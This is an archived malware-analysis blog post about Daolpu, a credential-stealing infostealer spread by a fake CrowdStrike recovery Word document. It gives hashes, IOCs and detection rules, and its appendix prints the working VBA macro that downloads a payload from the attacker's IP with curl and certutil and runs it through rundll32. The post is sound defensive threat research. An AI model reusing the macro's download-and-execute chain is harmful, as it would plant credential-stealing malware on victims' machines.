

# Daolpu Infostealer: Full analysis of the latest malware exploited post CrowdStrike outage

By Katuischia Benloukil

Published: 2024-07-25 · Archived: 2026-04-10 02:41:19 UTC

While we all stand in unity with cyber and IT teams who have been working tirelessly to restore systems following last week's CrowdStrike patch failure, cyber criminals continue to exploit the situation by launching phishing campaigns.

Discovered on July 24th, 2024, the latest malware on the list is: **Daolpu**. A Word document containing macros that download an unidentified stealer now tracked as **Daolpu**.

Macroviruses exploit the macro scripting capabilities of office applications like Microsoft Word and Excel to embed malicious code within document files. These viruses spread rapidly through email attachments and shared documents, making them a persistent threat in various environments. This paper provides a detailed technical analysis of macrovirus evolution, infection mechanisms, and current detection and mitigation strategies. The current [malware](#) sample exploits the opportunity presented by a recent CrowdStrike outage to deliver its payload using a weaponized Word document. By leveraging this context, attackers might exploit the surge in attempts to repair the issue and the appearance of legitimacy to perform their attack. Once opened, the weaponized document downloads and executes a stealer.

Daolpu is one of the quickest malware strains to exploit the window of opportunity. The following timeline shows how reactive the threat actors were following the incident:

## Timeline of malware creation over time

TEHTRIS Threat Intel team exposes in this report the mechanisms of Daolpu Stealer in depth.

### **Analyst opinion**

The sample lacks obfuscation and evasion techniques, likely due to the short window of opportunity created by the recent CrowdStrike outage. It is estimated that the development of this tool took less than two days, suggesting that the malware was hastily crafted specifically to exploit this temporary vulnerability. This rapid development cycle indicates a targeted approach, focusing on immediate deployment rather than long-term stealth and persistence. Consequently, the malware's straightforward design highlights its purpose-built nature for this particular attack scenario.

### **Samples**

In the following section, we will provide a detailed examination of each malicious file involved in the attack. This analysis includes file names, hashes, sizes, and other relevant attributes.

**Table 1:** “New\_Recovery\_Tool\_to\_help\_with\_CrowdStrike\_issue\_impacting\_Windows.docm”

Type	Value
File Type	Microsoft Word 2007+
DateTimestamp	N/A
SIZE	303K
MD5	dd2100dfa067caae416b885637adc4ef
SHA256	803727ccdf441e49096f3fd48107a5fe55c56c080f46773cd649c9e55ec1be61

**Table 2:** “ThisDocument.cls”

Type	Value
File Type	SCII text, with very long lines (470)
DateTimestamp	N/A
SIZE	17K
MD5	cc7c247c00295665aed802b30f1793c
SHA256	6d3f611353c7fc8aa65b48b3bc054682aad6b2d7c1321f4fb1b6ed98bb88aa9d

**Table 3:** “http://172.104.160.126:8099/payload2.txt”

Type	Value
File Type	PEM certificate
DateTimestamp	N/A
SIZE	1.9M
MD5	d67ea3b362d4e9b633216e85ac643d1f
SHA256	5eaf0f1c1d23f4372e24eb15ee969552c416a38dbc45e4f2b4af283e3bbf8721

**Table 4:** “mscorsvc.dll”

Type	Value
File Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows, 7 sections
DateTimestamp	2024-07-19 08:10:10
SIZE	1.4M

MD5	eb29329de4937b34f218665da57bcef4
SHA256	4ad9845e691dd415420e0c253ba452772495c0b971f48294b54631e79a22644a

The following schema provides a detailed illustration of the infection chain with [Mitre](#) technics associated, offering a step-by-step breakdown of how the attack unfolds to clarify the interactions and dependencies between the various components previously listed.

## Code details

The script of the macrovirus has been fully extracted and can be found in appendices.

The executable has been compiled using Visual Studio 2019 (version14.39/33519) with debug symbols stripped, resulting in a Program Database (PDB) file. Despite the removal of debug symbols, the PDB file contains metadata that can be leveraged to detect the malware (c.f. the yara section).

**Figure 1:** HTTP request to download stage2

## Techniques

The next picture details the [MITRE ATT&CK](#) techniques utilized by the malware sample and each of its components ([Phishing](#), [User Execution](#), [Deobfuscate/Decode Files or Information](#), [Automated Collection](#), [Data from Local System](#), [Ingress Tool Transfer](#), [Non-Standard Port](#), [Web Service](#), [Automated Exfiltration](#), [Exfiltration Over Web Service](#), [Financial Theft](#), [Phishing](#), [User Execution](#), [Deobfuscate/Decode Files or Information](#), [Automated Collection](#), [Data from Local System](#), [Ingress Tool Transfer](#), [NonStandard Port](#), [Web Service](#), [Automated Exfiltration](#), [Exfiltration Over Web Service](#), [Financial Theft](#))

## Context

The next schema illustrates the STIX2 representation of the attack, providing a structured and standardized format for describing the incident. The raw JSON data is available in the appendices.

## Execution

### Initial execution

The initial payload is a DOCM file, spread through a phishing campaign. For the CrowdStrike fix to be relevant, it must target relatively large companies, as these organizations typically have antispam countermeasures in place that should block such threats. The attackers likely aimed at exploiting the temporary lapse in security to bypass these defenses and deliver their payload. The number of potential victims should be low.

The macro is executed by the script `This Document.cls:Document_Open` at the opening of the document. By default, the user must enable macro execution in word; when it's done the malicious payload is executed without additional user interaction.

The next screenshot is from the TEHTRIS sandbox, captured immediately after the infection. This image highlights the initial impact of the malware, while subsequent execution phases occur in the background. This provides an early glimpse into the malware's behavior before it fully executes its payload.

**Figure 2:** Document preview on the victim side

## **Sensitive data**

Because the malware is a stealer, its sole goal is to collect and exfiltrate data. It focuses on gathering sensitive information from the infected system and transmitting it to the attacker's server, ensuring that the stolen data can be used for malicious purposes such as identity theft or financial fraud.

## **Collection**

The malware automatically exfiltrates credentials from the following browsers: Mozilla Firefox, Microsoft Edge, Google Chrome, and Coc Coc Browser. The inclusion of Coc Coc Browser, which is popular in Vietnam, may indicate that the campaign specifically targets Vietnamese entities.

### **Figure 3:** Supported Browsers

The malware also crawls the disk seeking sensitive documents, exfiltrating every file that matches the following extensions: .doc, .docx, .xls, .xlsx, .pdf, .txt, .ppt, and .pptx. By targeting these common document formats, the malware aims to gather a wide range of potentially valuable and sensitive information.

## **Credential**

The malware extracts passwords and sensitive data from the previously cited browsers. This sensitive information is collected into a file prior to its exfiltration, ensuring that all gathered credentials and personal data are consolidated and ready for transmission to the attacker's server.

**Figure 4:** Results file

To collect Firefox credentials, the malware uses the mozglue library to parse the Firefox configuration. This allows the malware to efficiently access and extract stored login information and other sensitive data from the browser's internal files.

**Figure 5:** Use of Firefox Libraries

**Exfiltration**

The exfiltration is performed automatically over an HTTP channel using multipart POST uploads. The lack of encryption suggests that the malware was developed in a hurry, as it does not implement basic security measures to protect the transferred data, making it more vulnerable to interception and analysis.

**Figure 6:** HTTP exfiltration

## **Command and control**

### **Identification**

The Command and Control (C2) server is hosted by Linode LLC, a cloud provider. The attacker likely purchased a Virtual Private Server (VPS) from Linode to conduct their attack.

**Figure 7:** Ip lookup of the C2

To uniquely identify the victim, the malware uses the MAC address as part of the host fingerprint. This approach ensures that each infected system can be individually tracked based on its network hardware address.

### **Figure 8:** HTTP request to download stage2

The C2 server was down at the time of the analysis.

## **Commands**

No commands are exchanged with the C2; the sensitive information is sent in a one-way stream from the stealer to the C2 server. This means that the malware simply transmits collected data without receiving any instructions or updates from the attacker.

## **Cryptography**

No cryptographic mechanisms have been implemented in the sample.

## **IOCs**

## **URLs**

- [http://172 \[dot\] 104.160.126:8099/payload2.txt](http://172 [dot] 104.160.126:8099/payload2.txt)
- [http://172 \[dot\] 104.160.126:5000/Uploads](http://172 [dot] 104.160.126:5000/Uploads)

## **Files and registry**

C:\Windows\Temp\cookies.sqlite-shm

C:\Windows\Temp\login data

C:\Windows\Temp\result.txt

C:\Windows\Temp>Login Data

C:\Windows\Temp\cookies.sqlite

C:\Windows\Temp\cookies.sqlite-wal

## **Artifacts**

Subcommands are not capturing stout and stderr and may leak information (lazy system invocation):

**Figure 9:** Leaks from commands

## Similar samples

Other samples of the same malware have been spotted in our intelligence database. Here are the SHA-256 hashes of these samples:

- 4ad9845e691dd415420e0c253ba452772495c0b971f48294b54631e79a22644a
- 3a9323a939fbecbc6d0ceb5c1e1f3ebde91e9f186b46fdf3ba1aee03d1d41cd8
- f0fce67c1f360d045c21249f6faaac4d64b36aad02c8b877ab7db1e35f7c71f5

## Detection

### Yara

We did not manage to yara sign the macrovirus. A snort and sigma will eventually spot them.

```
import "pe"

rule DaolpuStealer {
  meta:
    author = "PEZIER Pierre-Henri. Copyright TEHTRIS 2024"
  strings:
    $str_01 = "\\Temp\\result.txt" fullword
    $str_02 = "docx" wide fullword
    $str_03 = "xlsx" wide fullword
    $str_04 = "doc" wide fullword
    $str_05 = "xls" wide fullword
    $str_06 = "ppt" wide fullword
    $str_07 = "pptx" wide fullword
    $str_08 = "pdf" wide fullword
    $str_09 = "txt" wide fullword
  condition:
    pe.is_pe and
    (
      pe.pdb_path matches /Mal_Cookie.*mscorsvc.pdb$/
      or all of ($str*)
    )
}
```

## snort

The macrovirus and stealer implant will be detected easily by the following rules:

```
alert http any any -> any any (\
  sid: 110000002;\
  msg: "Download certificate encoded PE Executable";\
  metadata: author PEZIER Pierre-Henri. Copyright TEHTRIS 2024;\
  content: "-----BEGIN CERTIFICATE-----"; startswith; isdataat:0, relative;\
  content: "TVqQ"; within: 10;\
  classtype: file-format;\
  rev: 1;
```

```
alert http any any -> any any (\
  sid: 110000003;\
  msg: "Daolpu stealer";\
  metadata: author PEZIER Pierre-Henri. Copyright TEHTRIS 2024;\
  content:"POST"; http_method; http.uri; content:"/Uploads";\
  classtype: file-format;\
  rev: 1;
```

## sigma

The following sigma detects the DLL behavior.

```
title: Daolpu stealer
id: 008ee86c-ea30-4cb9-a1cf-d8f733e8502d
description: Daolpu stealer
author: TEHTRIS - Pezier Pierre-Henri
date: 2024-07-24
tags:
  - detection.threat_hunting
logsource:
  category: file_access
  product: windows
detection:
  source_process:
    - Image|endswith: '\rundll32.exe'
  results_file:
    - TargetFileName: 'C:\Windows\Temp\result.txt'
    - TargetFileName: 'C:\Windows\Temp>Login Data'
    - TargetFileName: 'C:\Windows\Temp\cookies.sqlite'
    - TargetFileName: 'C:\Windows\Temp\cookies.sqlite-wal'
    - TargetFileName: 'C:\Windows\Temp\cookies.sqlite-shm'
  condition: results_file and source_process
falsepositives:
  - Unknown
level: critical
```

## Appendice

### Office document macro

Source code of ThisDocument.cls:

```
xcopy C:\Windows\System32\curl.exe C:\Users\admin\AppData\Local\Temp
certutil -f -encode C:\Users\admin\AppData\Local\Temp\curl.exe C:\Users\admin\AppData\Local\Temp\curl.txt
certutil -f -decode C:\Users\admin\AppData\Local\Temp\curl.txt C:\Users\admin\AppData\Local\Temp\curl.exe
C:\Users\admin\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/ payload2.txt -o C:\Users\admin\AppData\Local\Temp\curl.exe
certutil -f -decode C:\Users\admin\AppData\Local\Temp\mscorsvc.txt C:\Users\admin\AppData\Local\Temp\mscorsvc.txt
del C:\Users\admin\AppData\Local\Temp\curl.exe
del C:\Users\admin\AppData\Local\Temp\curl.txt
del C:\Users\admin\AppData\Local\Temp\curl.exe
del C:\Users\admin\AppData\Local\Temp\mscorsvc.txt
START " " rundll32 C:\Users\admin\AppData\Local\Temp\mscorsvc.dll, DllMain
exit
```

## Commands run by macro

```
' Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
' Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

' Sub ChangeText()
'     ActiveDocument.Words(19).Text = "The "
' End Sub

Sub DeleteText()
    ' Dim rngFirstParagraph As Range

    ' Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range
    ' With rngFirstParagraph
    '     .Delete
    '     .InsertAfter Text:="New text"
    '     .InsertParagraphAfter
    ' End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range
    With rngFirstParagraph
        .Delete
        .InsertAfter Text:="Fourth paragraph displayed " + Chr(34)
        .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(5).Range
    With rngFirstParagraph
        .Delete
        .InsertAfter Text:="Fifth paragraph displayed"
        .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(6).Range
    With rngFirstParagraph
        .Delete
        .InsertAfter Text:="Sixth paragraph displayed"
        .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(7).Range
    With rngFirstParagraph
        .Delete
        .InsertAfter Text:="Seventh paragraph displayed"
        .InsertParagraphAfter
    End With
```





```
dir = ActiveDocument.Path
dir = Environ("temp")
host = "http://172.104.160.126:8099"
curl_enc_txt_path = dir + "\curl.txt"
curl_dec_exe_path = dir + "\curl.exe"

mal_enc_txt_url = host + "/payload2.txt"
mal_enc_txt_path = dir + "\mscorsvc.txt"
mal_dec_exe_path = dir + "\mscorsvc.dll"

pp = pp + "C:\Windows\Sys"
pp = pp + "tem32\cmd.exe /c "
cc = cc + curl_enc_txt_path + curl_dec_exe_path
pp = pp + "xcopy C:\Windows\Sys"
cc = cc + curl_enc_txt_path + mal_enc_txt_url
pp = pp + "tem32\cu" + "rl.exe " + dir + " & "
cc = cc + mal_enc_txt_path + mal_enc_txt_url
pp = pp + "certutil -f "
cc = cc + mal_enc_txt_path + mal_dec_exe_path
pp = pp + "-encode " + dir + "\cu" + "rl.exe " + curl_enc_txt_path + " & "
cc = cc + pp + mal_dec_exe_path
pp = pp + "certutil -f "
cc = cc + pp + dir
pp = pp + "-decode " + curl_enc_txt_path + " " + curl_dec_exe_path + " & "
cc = cc + curl_enc_txt_path + dir

pp = pp + curl_dec_exe_path + " " + mal_enc_txt_url + " -o " + mal_enc_txt_path + " & "
cc = cc + curl_enc_txt_path + dir
pp = pp + "certutil -f "
cc = cc + curl_enc_txt_path + curl_dec_exe_path
pp = pp + "-decode " + mal_enc_txt_path + " " + mal_dec_exe_path + " & "
cc = cc + mal_enc_txt_url + curl_dec_exe_path

pp = pp + "del " + dir + "\cu" + "rl.exe & "
cc = cc + host + pp + curl_enc_txt_path
pp = pp + "del " + curl_enc_txt_path + " & "
cc = cc + curl_enc_txt_path + dir
pp = pp + "del " + curl_dec_exe_path + " & "
cc = cc + curl_dec_exe_path + pp

pp = pp + "del " + mal_enc_txt_path + " & "
cc = cc + mal_enc_txt_path + pp

Dim vbDbQuote As String
vbDbQuote = Chr(34)
pp = pp + "START " + vbDbQuote + " " + vbDbQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "
cc = cc + mal_dec_exe_path + pp
```

```
pp = pp + "exit"
cc = cc + dir + pp
'pp = pp + "cmd.exe -d & exit"
'cc = cc + mal_enc_txt_url + curl_dec_exe_path
' Shell (pp), vbHidden

Dim objShell As Object
Set objShell = CreateObject("WScript.Shell")
objShell.Run pp, 0, False
End Sub

Sub Document_Open()
    MainFunc
End Su
```

## Stix2 graph

```
{
  "type": "bundle",
  "id": "bundle--fe929ee2-13da-4c6a-8810-be8c061ab434",
  "objects": [
    {
      "type": "campaign",
      "spec_version": "2.1",
      "id": "campaign--c014b573-2a94-4c09-aaf9-2c5330dedb06",
      "lang": "en",
      "created": "2024-07-18T00:00:00.007Z",
      "name": "Crowdstrike Fake Update",
      "description": "CrowdStrike bug related phishing attack"
    },
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--bdc38620-34da-418b-9b72-fc1ae34b398f",
      "name": "CrowdStrike",
      "identity_class": "organization"
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712",
      "is_family": false,
      "name": "Daolpu",
      "created_by_ref": "file--3ad05b73-3251-4b41-beca-5de1acc9a5e",
```

```
"malware_types": [
  "spyware"
],
"capabilities": [
  "steals-authentication-credentials",
  "communicates-with-c2",
  "exfiltrates-data",
  "fingerprints-host"
],
"sample_refs": [
  "file--58970bff-b7a9-4b85-8c88-34c16a852e8e",
  "file--26d5f6ec-cc77-4162-bdff-401a515689d7",
  "file--ea34c3fe-1d5b-4cf6-92e1-7e02cd878242"
]
},
{
  "type": "malware",
  "spec_version": "2.1",
  "id": "malware--9823d959-beff-47e1-bfe5-74d029849d4e",
  "is_family": false,
  "name": "Daolpu Macrovirus",
  "malware_types": [
    "downloader"
  ],
  "sample_refs": [
    "file--5760335e-071a-4267-af37-8ce39a563a10"
  ]
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--0974b3d8-9291-4e6c-9f07-4b20ea435278",
  "name": "ThisDocument.cls",
  "hashes": {
    "SHA-256": "6d3f611353c7fc8aa65b48b3bc054682aad6b2d7c1321f4fb1b6ed98bb88aa9d"
  },
  "mime_type": "text/plain"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--5760335e-071a-4267-af37-8ce39a563a10",
  "name": "New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm",
  "hashes": {
    "SHA-256": "803727ccdf441e49096f3fd48107a5fe55c56c080f46773cd649c9e55ec1be61"
  },
  "mime_type": "application/msword",
```

```
"contains_refs": "file--0974b3d8-9291-4e6c-9f07-4b20ea435278"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--3ad05b73-3251-4b41-beca-5de1accc9a5e",
  "name": "payload2.txt",
  "hashes": {
    "SHA-256": "5eaf0f1c1d23f4372e24eb15ee969552c416a38dbc45e4f2b4af283e3bfb8721"
  },
  "mime_type": "text/plain"
},
{
  "type": "url",
  "spec_version": "2.1",
  "id": "url--af891d7d-9bcc-4fb4-9bed-5feb52908e24",
  "value": "http://172.104.160.126:8099/payload2.txt"
},
{
  "type": "url",
  "spec_version": "2.1",
  "id": "url--0bae24fb-6bfd-483f-82a3-32cac7626dee",
  "value": "http://172.104.160.126:8099/Uploadss"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--58970bff-b7a9-4b85-8c88-34c16a852e8e",
  "name": "mscorsvc.dll",
  "hashes": {
    "SHA-256": "4ad9845e691dd415420e0c253ba452772495c0b971f48294b54631e79a22644a"
  },
  "mime_type": "application/x-msdownload"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--26d5f6ec-cc77-4162-bdff-401a515689d7",
  "name": "mscorsvc.dll",
  "hashes": {
    "SHA-256": "3a9323a939fbecbc6d0ceb5c1e1f3ebde91e9f186b46fdf3ba1aee03d1d41cd8"
  },
  "mime_type": "application/x-msdownload"
},
{
  "type": "file",
```

```
"spec_version": "2.1",
"id": "file--ea34c3fe-1d5b-4cf6-92e1-7e02cd878242",
"name": "mscorsvc.dll",
"hashes": {
  "SHA-256": "f0fce67c1f360d045c21249f6faaac4d64b36aad02c8b877ab7db1e35f7c71f5"
},
"mime_type": "application/x-msdownload"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--621277c3-198e-4c9a-b91b-ed54eacd33de",
  "relationship_type": "impersonates",
  "source_ref": "campaign--c014b573-2a94-4c09-aaf9-2c5330dedb06",
  "target_ref": "identity--bdc38620-34da-418b-9b72-fc1ae34b398f"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--2841bbbc-adf0-4b6e-be1c-ce76c953b06es",
  "relationship_type": "uses",
  "source_ref": "campaign--c014b573-2a94-4c09-aaf9-2c5330dedb06",
  "target_ref": "malware--9823d959-beff-47e1-bfe5-74d029849d4e"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--75cc4004-3430-4f6d-a62c-5a3ca02a30c4",
  "relationship_type": "downloads",
  "source_ref": "malware--9823d959-beff-47e1-bfe5-74d029849d4e",
  "target_ref": "file--3ad05b73-3251-4b41-beca-5de1accc9a5e"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--b394f377-bb13-4dea-848d-518ed6bef8b6",
  "relationship_type": "communicates-with",
  "source_ref": "malware--9823d959-beff-47e1-bfe5-74d029849d4e",
  "target_ref": "url--af891d7d-9bcc-4fb4-9bed-5feb52908e24"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--85dd37e7-4d4e-42db-b463-eef142ffdd9a",
  "relationship_type": "communicates-with",
  "source_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712",
  "target_ref": "url--0bae24fb-6bfd-483f-82a3-32cac7626dee"
```

```
},
{
  "type": "directory",
  "spec_version": "2.1",
  "id": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "path": "C:\\Windows\\Temp"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--f2f79ab1-606c-47aa-8c6e-311e12612884",
  "name": "result.txt",
  "parent_directory_ref": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "created_by_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--dab8547d-c3d8-4834-ac06-c24780f60838",
  "name": "Login Data",
  "parent_directory_ref": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "created_by_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--f34cbe8f-218c-4673-8e14-25e5ed2db655",
  "name": "cookies.sqlite",
  "parent_directory_ref": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "created_by_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--469da665-b4b2-433a-998e-cb3741de65b4",
  "name": "cookies.sqlite-wal",
  "parent_directory_ref": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "created_by_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712"
},
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--ffe729b5-823c-4133-b8ae-293320f4df0b",
  "name": "cookies.sqlite-shm",
  "parent_directory_ref": "directory--fd88dfe8-15fe-44c7-9689-a50ba915e50c",
  "created_by_ref": "malware--7b96a7fc-74ef-435a-bd34-17cb2b3f7712"
},
}
```

```
{
  "type": "file",
  "spec_version": "2.1",
  "id": "file--e8c43b38-a0ac-4c1b-becb-a346dc0c60c9",
  "name": "cmd.exe"
},
{
  "type": "tool",
  "spec_version": "2.1",
  "id": "tool--76ff81fb-fb47-425e-983a-65084ce2e790",
  "name": "command prompt",
  "object_refs": "file--e8c43b38-a0ac-4c1b-becb-a346dc0c60c9"
},
{
  "type": "relationship",
  "spec_version": "2.1",
  "id": "relationship--fed44f3e-fed9-46b4-9b62-e06c76fca109",
  "relationship_type": "uses",
  "source_ref": "malware--9823d959-beff-47e1-bfe5-74d029849d4e",
  "target_ref": "tool--76ff81fb-fb47-425e-983a-65084ce2e790"
},
{
  "type": "process",
  "spec_version": "2.1",
  "id": "process--3104b8b4-cd0a-4f74-b791-f66c4f85fa28",
  "image_ref": "file--e8c43b38-a0ac-4c1b-becb-a346dc0c60c9",
  "command_line": "cmd /c curl.exe http://172.104.160.126:8099/payload2.txt -o C:\\Users\\admin\\AppData\\Lc
},
{
  "type": "process",
  "spec_version": "2.1",
  "id": "process--c73793f7-3c5d-427d-9121-9e43064eb000",
  "image_ref": "file--e8c43b38-a0ac-4c1b-becb-a346dc0c60c9",
  "command_line": "cmd /c certutil -f -decode C:\\Users\\admin\\AppData\\Local\\Temp\\mscorsvc.txt C:\\Users
},
{
  "type": "process",
  "spec_version": "2.1",
  "id": "process--c3a5ea9e-1981-44eb-8e26-1fe11cecdc0c",
  "image_ref": "file--e8c43b38-a0ac-4c1b-becb-a346dc0c60c9",
  "command_line": "cmd /c START \" \" rundll32 C:\\Users\\admin\\AppData\\Local\\Temp\\mscorsvc.dll,DllMain'
}
]
}
```

Source: <https://tehtris.com/en/blog/daolpu-infostealer-full-analysis-of-the-latest-malware-exploited-post-crowdstrike-outage/>